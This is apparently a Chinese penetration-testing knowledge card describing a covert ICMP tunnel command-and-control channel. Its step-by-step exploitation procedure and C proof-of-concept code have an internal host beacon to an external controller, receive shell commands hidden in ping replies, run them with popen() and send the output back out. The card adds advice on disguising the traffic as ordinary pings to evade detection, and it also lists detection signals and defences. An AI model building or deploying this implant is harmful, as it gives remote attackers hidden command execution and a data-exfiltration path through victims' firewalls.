Raw Socket ICMP 隧道 C2:自定义 7 字节协议头 + 心跳/命令双向通道
pentest/c2 · verified
一句话结论
在 Linux 上用 socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) 手工构造 ICMP Echo Request/Reply,在 ICMP Data 中放入自定义 7 字节协议头(cmd_type/seq_num/total/data_len)与分片载荷,即可实现一条穿过 NAT/防火墙的 ICMP 隧道:内网 Server 每 5 秒主动向公网 Client 发心跳 Echo Request,Client 用 Echo Reply 下发命令,Server 用 popen() 执行并在下一次心跳中回传结果,形成类似 reverse shell 的隐蔽 C2 通道。
原理
- ICMP Echo 载体:ICMP 头 8 字节(type、code、checksum、id、sequence);Echo Request type=8、Echo Reply type=0、code=0。ICMP 的 Data 段长度可变,可承载任意字节,因此可作为隧道载荷。校验和按 RFC 1071 的 16 位反码求和计算,计算前 checksum 字段置 0。
- Raw Socket:
socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)需要 root 或CAP_NET_RAW;sendto构造 ICMP 包,recvfrom收到的缓冲区以 IP 头开始,需按iphdr->ihl * 4跳过 IP 头再解析 ICMP。若使用IPPROTO_RAW才能手工构造 IP 头;AF_PACKET可收到以太网头。 - 自定义协议头(
#pragma pack(push,1),共 7 字节):text +----------+----------+----------+----------+-----------+ | cmd_type | seq_num | total | data_len | payload | | 1 byte | 2 bytes | 2 bytes | 2 bytes | N bytes | +----------+----------+----------+----------+-----------+cmd_type区分 HEART/DATA/TEXT/CTRL/ACK;seq_num/total支持长数据分片;data_len为当前分片长度。字段按小端写入,接收端按同样布局解析。 - 反向连接模型:内网 Server 无法被公网主动访问,因此由 Server 主动向公网 Client 发 Echo Request(出站 ICMP 通常被 NAT/防火墙允许);Client 被动监听 Echo Request,把命令放进 Echo Reply 返回;Server 执行命令后把结果缓存在
pending_result,在下一次心跳的 Echo Request 中带回;Client 解析并显示结果。该模型与 reverse shell 相同,只是载体换成 ICMP。 - 心跳与状态机:Server 循环:发送心跳(携带上次结果)→ 清空 pending →
recv_reply等待命令(带超时)→execute_command缓存结果 → sleep。Client 循环:非阻塞检查用户输入 →recv_heartbeat解析源 IP/id/seq → 若收到结果则显示 →send_reply携带待发命令或 ACK。 - 分片:发送函数按
MAX_PAYLOAD_SIZE切片,填入seq_num/total/data_len;接收端按total聚合、按seq_num排序。长命令/结果需要分片,短包可单包完成。 - 为什么能穿过 NAT/防火墙:ICMP Echo 是最常见的放行协议之一;NAT 会为出站 Echo Request 建立映射,Echo Reply 能回到内网 Server;隧道把命令/结果藏在 ICMP Data 中,五元组看起来像普通 ping。
- 流量差异:普通 ping 的 payload 固定(Linux 56 字节、Windows 32 字节,内容为递增序列),请求/应答 payload 对称,间隔稳定 1 秒;ICMP 隧道 payload 前 7 字节是自定义头、长度可变、请求/应答内容不对称、心跳间隔可配置(默认 5 秒),这些是检测切入点。
触发条件
- Linux 环境,进程有 root 或
CAP_NET_RAW(可sudo setcap cap_net_raw+ep ./tool)。 - 内网主机可向公网/控制端发送 ICMP Echo,且沿途防火墙/NAT 未完全阻断 ICMP。
- 控制端有公网 IP 或可达地址,能接收/发送 ICMP。
- 双方运行自定义 raw socket 程序;若中间设备做 ICMP 深度检测/剥离 payload,隧道可能失效。
- 命令执行依赖
popen()/shell;目标进程权限决定命令权限。
利用步骤
- 在控制端(公网 Client)与内网 Server 分别创建 raw socket:
socket(AF_INET, SOCK_RAW, IPPROTO_ICMP),确认 root/CAP_NET_RAW。 - 实现
calc_checksum()(RFC 1071 反码求和)与 ICMP 头构造函数;发送一个带HELLOpayload 的 Echo Request,用 Wireshark 确认 checksum/type/id/seq 正确。 - 定义 7 字节隧道协议头与分片逻辑;实现
sel_send()、sel_send_fragmented()、recv_heartbeat()、send_reply()、recv_reply()。 - Server 主循环:发心跳(带 pending 结果)→ 等 Reply 命令 →
popen(cmd)执行 → 缓存输出 → sleep;Client 主循环:收心跳 → 显示结果 → 读用户输入 → Reply 下发命令。 - 先在内网/本地用两台 Linux 测试双向命令(
ls、id),确认 ID/seq 匹配、分片重组、超时处理。 - 在真实 NAT 环境测试出站 ICMP;若被限速/阻断,调整心跳间隔、payload 长度或改用其它 ICMP 类型。
- 需要隐蔽时,把 payload 长度/内容伪装成普通 ping(固定 56 字节、模拟递增序列、编码命令/结果),并控制发送频率;注意请求/应答不对称仍可能被检测。
PoC
/* 7 字节隧道协议头(小端字段) */
#pragma pack(push, 1)
typedef struct selhdr_tag {
uint8_t cmd_type; // HEART/DATA/TEXT/CTRL/ACK
uint16_t seq_num; // 分片序号,从 0 开始
uint16_t total; // 总分片数,1 表示不分片
uint16_t data_len; // 当前 payload 长度
uint8_t data[]; // C99 柔性数组
} selhdr, *pselhdr;
#pragma pack(pop)
/* RFC 1071 16 位反码求和校验和 */
uint16_t calc_checksum(uint8_t *data, int len) {
uint32_t sum = 0;
uint16_t *p = (uint16_t *)data;
while (len > 1) { sum += *p++; len -= 2; }
if (len == 1) {
uint16_t tmp = 0;
*(uint8_t *)&tmp = *(uint8_t *)p;
sum += tmp;
}
while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
return (uint16_t)(~sum);
}
/* 构造并发送 ICMP Echo Request(心跳/结果) */
int send_heartbeat(int sock, const char *client_ip, uint16_t seq,
uint8_t cmd_type, const void *data, int data_len) {
int pkt_len = sizeof(struct icmphdr) + SELHDR_SIZE + data_len;
uint8_t *pkt = calloc(1, pkt_len);
struct icmphdr *icmp = (struct icmphdr *)pkt;
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id = htons(getpid() & 0xffff);
icmp->un.echo.sequence = htons(seq);
selhdr *h = (selhdr *)(pkt + sizeof(struct icmphdr));
h->cmd_type = cmd_type;
h->seq_num = 0;
h->total = 1;
h->data_len = data_len;
memcpy(h->data, data, data_len);
icmp->checksum = calc_checksum(pkt, pkt_len);
struct sockaddr_in dst = { .sin_family = AF_INET };
inet_pton(AF_INET, client_ip, &dst.sin_addr);
int ret = sendto(sock, pkt, pkt_len, 0, (struct sockaddr *)&dst, sizeof(dst));
free(pkt);
return ret < 0 ? -1 : 0;
}
/* Server 主循环:心跳 -> 收命令 -> 执行 -> 缓存结果 */
while (g_running) {
uint8_t send_type = pending_result_len ? pending_cmd_type : CMD_HEART;
send_heartbeat(sock, client_ip, seq++, send_type, pending_result, pending_result_len);
pending_result_len = 0;
int n = recv_reply(sock, &recv_cmd_type, recv_data, sizeof(recv_data), interval * 1000);
if (n > 0) {
pending_result_len = execute_command(recv_cmd_type, recv_data, n,
pending_result, sizeof(pending_result));
pending_cmd_type = recv_cmd_type;
}
sleep(interval);
}
/* 命令执行:popen + 限长读取(示意) */
int execute_command(uint8_t cmd_type, const uint8_t *cmd_data, int cmd_len,
uint8_t *out, int max_len) {
if (cmd_type != CMD_TEXT) return 0;
char cmd[MAX_PAYLOAD_SIZE + 1];
int n = cmd_len > MAX_PAYLOAD_SIZE ? MAX_PAYLOAD_SIZE : cmd_len;
memcpy(cmd, cmd_data, n);
cmd[n] = '\0';
FILE *fp = popen(cmd, "r");
if (!fp) return 0;
int total = 0;
char line[512];
while (fgets(line, sizeof(line), fp) && total < max_len) {
int l = strlen(line);
if (total + l > max_len) l = max_len - total;
memcpy(out + total, line, l);
total += l;
}
pclose(fp);
return total;
}
说明:以上为按原文实现整理的结构化 PoC 骨架,未在本机编译/运行;完整代码需要补全 recv_reply/recv_heartbeat/send_reply 的 IP 头解析、超时、分片重组与 ID/seq 校验。原文实测在 WSL/Ubuntu 间可执行 ls 并回传结果。
变体与关联
- 载体变体:其它 ICMP 类型(Timestamp、Destination Unreachable 的错误载荷)、ICMPv6、DNS/HTTP/WebSocket 隧道;核心都是把数据塞进允许出站的协议字段。
- 协议变体:加密/编码(AES/XOR/Base64)、LSB 隐写、固定长度填充、随机 id/seq、模拟普通 ping 的 payload 与间隔。
- 拓扑变体:正向(控制端发 Echo Request 到目标)与反向(目标主动心跳到控制端);NAT 环境下反向更常用。
- 命令通道变体:
popen命令执行、文件分片上传/下载、端口转发、SOCKS 代理;分片字段可扩展为会话 ID/校验/重传。 - 关联卡片:[[pentest-c2-ipv4-reserved-bit-udp-covert-channel]](IP 头保留位隐蔽信道)、[[pentest-c2-uds-java-implant-covert-channel]](无端口 UDS C2)、[[pentest-c2-linux-http-polling-shell-agent-heartbeat-base64]](HTTP 轮询心跳 C2)。
- 边界:需要 root/CAP_NET_RAW;出站 ICMP 被阻断、ICMP payload 被剥离/重写、IDS 对 ICMP 深度检测时失效;请求/应答不对称是较难完全伪装的统计特征。
检测与防御
- 检测信号:
- ICMP Echo payload 长度异常(非 32/56 字节固定值)、前 7 字节呈现
cmd_type|seq|total|data_len结构; - Echo Request 与 Echo Reply 的 payload 不对称、长度可变、内容熵高或含可打印命令/文件内容;
- 同一源/目的之间高频 ICMP、间隔不规律、ID/seq 不符合系统 ping 行为;
- 内网主机向单一公网 IP 持续发送 ICMP,且 payload 含 shell 命令/文件名/Base64;
- 主机上存在 raw socket 程序、
popen子进程与 ICMP 流量同时出现。 - 防御:
- 出站 ICMP 白名单(仅允许必要监控/运维目标),在边界防火墙/代理层限制 ICMP 类型、长度与 payload;
- IDS/NDR 对 ICMP payload 做长度/熵/协议头特征检测,关联请求-应答 payload 差异;
- 终端侧限制
CAP_NET_RAW、监控 raw socket 创建与异常子进程; - 对高安全网络禁用 ICMP 或仅允许内核 ping 响应,阻断用户态 raw socket 隧道。
- 对抗边界:固定长度、模拟 ping、加密/隐写能降低检测率,但无法完全消除“请求/应答不对称、命令执行子进程、出站单一目标”等行为特征;不存在完美隐蔽,隐蔽通信只是提高检测成本。